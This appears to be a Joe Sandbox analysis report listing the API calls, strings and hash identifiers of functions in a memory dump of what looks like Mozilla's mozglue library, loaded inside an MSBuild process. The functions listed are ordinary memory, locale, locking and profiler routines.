?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515DC9
std::_Facet_Register.LIBCPMT ref: 6C515DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515E45

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 56f901e0c32e8c8d6f565eabd96e4d0d5e4d44aa96913cfc7228eb5cfeeea593
Instruction ID: 80bb36596c5d252fd1f6613a5e9aa61b350a4675fcff9008b1f10c750dc10e3e
Opcode Fuzzy Hash: 56f901e0c32e8c8d6f565eabd96e4d0d5e4d44aa96913cfc7228eb5cfeeea593
Instruction Fuzzy Hash: 6741AF30B042058FDB10EF65CC8CAAE77B5EF89318F554069E50A97B81EB34ED05CB65

Function 6C4ECC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4B31A7), ref: 6C4ECDDD

Strings

<jemalloc>, xrefs: 6C4ECF9F, 6C4ECFB3
: (malloc) Error in VirtualFree(), xrefs: 6C4ECFA4, 6C4ECFB8

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: bccba4b9d45813a6edc48422a9a73840f955da754769d551278a48b9d4d48402
Instruction ID: 933ce82f9d89524cc6582b5b7ed6e090ce25a557b16ccb9f859a24e0ed070e98
Opcode Fuzzy Hash: bccba4b9d45813a6edc48422a9a73840f955da754769d551278a48b9d4d48402
Instruction Fuzzy Hash: 9B31C6317402155BEF10EEA98C45FAE7FB5AB49716F224018F618ABBC0EBB0D80087A4

Function 6C4BECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4BF100: LoadLibraryW.KERNEL32(shell32,?,6C52D020), ref: 6C4BF122
Part of subcall function 6C4BF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4BF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4BED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4BEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4BEDCC
CreateFileW.KERNEL32 ref: 6C4BEE08
free.MOZGLUE(00000000), ref: 6C4BEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4BEE32

Part of subcall function 6C4BEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4BEBB5
Part of subcall function 6C4BEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C4ED7F3), ref: 6C4BEBC3
Part of subcall function 6C4BEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C4ED7F3), ref: 6C4BEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4BEDC1

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 1126150b079621d2c82312e84b405f6c93947ff2b6e092fe0dd85278b6f29f04
Instruction ID: 0566e3b69aac65f001e73d1ff988727c9f082c5a7146a49a742cc76abb886805
Opcode Fuzzy Hash: 1126150b079621d2c82312e84b405f6c93947ff2b6e092fe0dd85278b6f29f04
Instruction Fuzzy Hash: 2951CE71D052058BDB11DF68C880EEEB7F0AF99318F44886DE8557B780E774A949CBE2

Function 6C52A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C52A565

Part of subcall function 6C52A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52A4BE
Part of subcall function 6C52A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C52A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C52A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C52A6B6

Strings

z, xrefs: 6C52A6AE
0, xrefs: 6C52A5FB

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: bb07c0cd12fcafdde4eeb59ad7ed115aa5c481206da64890b731c392082696be
Instruction ID: a0916f4502973293e6529517c3adec035d7bd90db02dc8ff4a6c27cc083daabd
Opcode Fuzzy Hash: bb07c0cd12fcafdde4eeb59ad7ed115aa5c481206da64890b731c392082696be
Instruction Fuzzy Hash: A24139719087459FC341DF28C880A8FBBE5BFC9354F408A2EF49987690EB34E549CB92

Function 6C4B78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C53008B), ref: 6C4B7B89
free.MOZGLUE(?,6C53008B), ref: 6C4B7BAC

Part of subcall function 6C4B78C0: free.MOZGLUE(?,6C53008B), ref: 6C4B7BCF

free.MOZGLUE(?,6C53008B), ref: 6C4B7BF2

Part of subcall function 6C4D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4D5EDB
Part of subcall function 6C4D5E90: memset.VCRUNTIME140(ewQl,000000E5,?), ref: 6C4D5F27
Part of subcall function 6C4D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4D5FB2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: ec9c55a9199920f6e9c27622ffa867f4c794e135f406b6aac5261d2a513ce9bb
Instruction ID: 9570891e02dcb9529ac93b47b2f87cc643cb7fe3a57a94cc733342869439bdd8
Opcode Fuzzy Hash: ec9c55a9199920f6e9c27622ffa867f4c794e135f406b6aac5261d2a513ce9bb
Instruction Fuzzy Hash: 35C1A471E091188BEB24CB28CC90F9DB772AF41318F154699D51AB7BC1D731AE858FB1

Function 6C4F9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
__Init_thread_footer.LIBCMT ref: 6C4F949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4F946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4F947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4F9459

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 5079e7e2577eebc1d91b852898e3cb0bfd582fff68b38b7aea3beaba3ebe665a
Instruction ID: 7489b295c18b893a756f522b804a84f7ea511c9cf3d698d8bdc630e02436faa7
Opcode Fuzzy Hash: 5079e7e2577eebc1d91b852898e3cb0bfd582fff68b38b7aea3beaba3ebe665a
Instruction Fuzzy Hash: 05012830A041109BD720DF6CDD04E4E33B49B55329F06063AD95E86B41F726E856899F

Function 6C500F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C500F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C500F88
GetCurrentThreadId.KERNEL32 ref: 6C500FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C501067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5010A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C50114B

Part of subcall function 6C4F8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C511563), ref: 6C4F8BD5

free.MOZGLUE(?), ref: 6C501174
free.MOZGLUE(?), ref: 6C501186

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 6db8d506ca8ae4f1ab6d447ef44e8a41e3c360e74c64ff5f8d3cc3ebe17bc327
Instruction ID: 003f37c23bb88fa035fbce6e31dace9466b3bb8d3042fd46c6f1b2f67d6e691d
Opcode Fuzzy Hash: 6db8d506ca8ae4f1ab6d447ef44e8a41e3c360e74c64ff5f8d3cc3ebe17bc327
Instruction Fuzzy Hash: 41619C75A043409BDB10DF25DC80B9AB7F6BFC9308F15891DE88997712EB71E849CB82

Function 6C4BE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6C4C1999), ref: 6C4BEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6C4BEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6C4BEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6C4C1999), ref: 6C4BEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6C4C1999), ref: 6C4BEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6C4BEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6C4BEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6C4BEB27

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 768dc3f4482a19e3aed23f11eb7c19e6e84fda412a1e526b949043b8d0ddf859
Instruction ID: 84c59b5be5342f1bcdb4b2a0b04148df1ce8ab7bc13b04af013574f87c6b8d83
Opcode Fuzzy Hash: 768dc3f4482a19e3aed23f11eb7c19e6e84fda412a1e526b949043b8d0ddf859
Instruction Fuzzy Hash: 8941C0B1A002159FDB14CF68DC80EAE77A8BF85364F240668EC15E7794E731EA0587E1

Function 6C4BB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4BB61E,?,?,?,?,?,00000000), ref: 6C4BB6AC

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4BB61E,?,?,?,?,?,00000000), ref: 6C4BB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4BB61E,?,?,?,?,?,00000000), ref: 6C4BB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4BB61E,?,?,?,?,?,00000000), ref: 6C4BB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4BB61E,?,?,?,?,?,00000000), ref: 6C4BB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4BB61E), ref: 6C4BB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4BB61E,?,?,?,?,?,00000000), ref: 6C4BB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4BB61E,?,?,?,?,?,00000000), ref: 6C4BB79A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 42a82459137732eb15d3de79e80c3a93613fe955085e52acb9b52f54c4feacc5
Instruction ID: 8fa2a03e080d00bf529f41987194bedf31f9bdd1c23c5013301549d6097ccd9f
Opcode Fuzzy Hash: 42a82459137732eb15d3de79e80c3a93613fe955085e52acb9b52f54c4feacc5
Instruction Fuzzy Hash: 97419EB2D001159FCB14DF68DC80EAEB7B9EB94324B250669E825E7790E731ED058BE1

Function 6C4BEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C535104), ref: 6C4BEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4BEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4BEFEC
free.MOZGLUE(?), ref: 6C4BF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4BF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4BF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4BF065
moz_xmalloc.MOZGLUE ref: 6C4BF072

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: a4c69155a25a0c6fa45ccaa96d88eeaa525f5985e5d899033caa68a8424fc6d0
Instruction ID: f02ca3734fbb4ddd46d7a72f35ac36fcb7ba885ce122a2337b0c194e5b7f6980
Opcode Fuzzy Hash: a4c69155a25a0c6fa45ccaa96d88eeaa525f5985e5d899033caa68a8424fc6d0
Instruction Fuzzy Hash: 1641F4B5A002059FDB18CF78DC80DAE73A5AF94324B24066CE815DB7A5EB31E915C7E1

Function 6C52B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C52B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52B5F4
__Init_thread_footer.LIBCMT ref: 6C52B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C52B61F
std::_Facet_Register.LIBCPMT ref: 6C52B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B655

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3dde6e5001caf5e61def0cb17f0d995ef4cafbc4bab8ad12a9edbc2a0703be03
Instruction ID: 2de6d53521c0a28c44efe1f398f4504b3f4d3e7b0d2d94f42f3a00d9772264c5
Opcode Fuzzy Hash: 3dde6e5001caf5e61def0cb17f0d995ef4cafbc4bab8ad12a9edbc2a0703be03
Instruction Fuzzy Hash: F531A871B00204CBCB11EF95CC589AE77F5EF8A315B16095AD50A97781EB34A806CBD5

Function 6C4F6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C4EFA80: GetCurrentThreadId.KERNEL32 ref: 6C4EFA8D
Part of subcall function 6C4EFA80: AcquireSRWLockExclusive.KERNEL32(6C53F448), ref: 6C4EFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4F6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C4F67C8

Part of subcall function 6C504290: memcpy.VCRUNTIME140(?,?,6C512003,6C510AD9,?,6C510AD9,00000000,?,6C510AD9,?,00000004,?,6C511A62,?,6C512003,?), ref: 6C5042C4

Strings

vSl, xrefs: 6C4F696C
data, xrefs: 6C4F6593

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vSl
API String ID: 511789754-2266467031
Opcode ID: 5d13f0502de9f618391514846abe9e138afa9ca04c9536cd333120d837acd528
Instruction ID: 37e20605fa4fb0a3138426eb40db4a30d3664ce29a54bd83fc401fb97cec4c90
Opcode Fuzzy Hash: 5d13f0502de9f618391514846abe9e138afa9ca04c9536cd333120d837acd528
Instruction Fuzzy Hash: 18D1AB75A083408FD724DF24D841F9EBBE5AFD5308F14492DE59987B91EB30A84ACB92

Function 6C4ED5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4BEB57,?,?,?,?,?,?,?,?,?), ref: 6C4ED652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4BEB57,?), ref: 6C4ED660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4BEB57,?), ref: 6C4ED673
free.MOZGLUE(?), ref: 6C4ED888

Strings

WKl, xrefs: 6C4ED5D9, 6C4ED63F
|Enabled, xrefs: 6C4ED81E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WKl$|Enabled
API String ID: 4142949111-3911911862
Opcode ID: 9d360b8da0baf5462c613ccd1f163bd2b7aafe7315274fbe8d27a31ecf4c8774
Instruction ID: 0ae5f2c7b7306a62a328065cefac392181581808b8698d4e93a9fa974a280da2
Opcode Fuzzy Hash: 9d360b8da0baf5462c613ccd1f163bd2b7aafe7315274fbe8d27a31ecf4c8774
Instruction Fuzzy Hash: 41A123B4A003088FDB11CF69C890FAEBBF1AF8D319F15815CD899AB741D735A845CBA1

Function 6C4C9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C517ABE), ref: 6C4C985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C517ABE), ref: 6C4C98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C4C9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C4C9918
free.MOZGLUE(?), ref: 6C4C9975

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 0baf920e0d8b4d196e109e07379b4ff33fd8efcc9b3a27feecc4ee2cff0b2a60
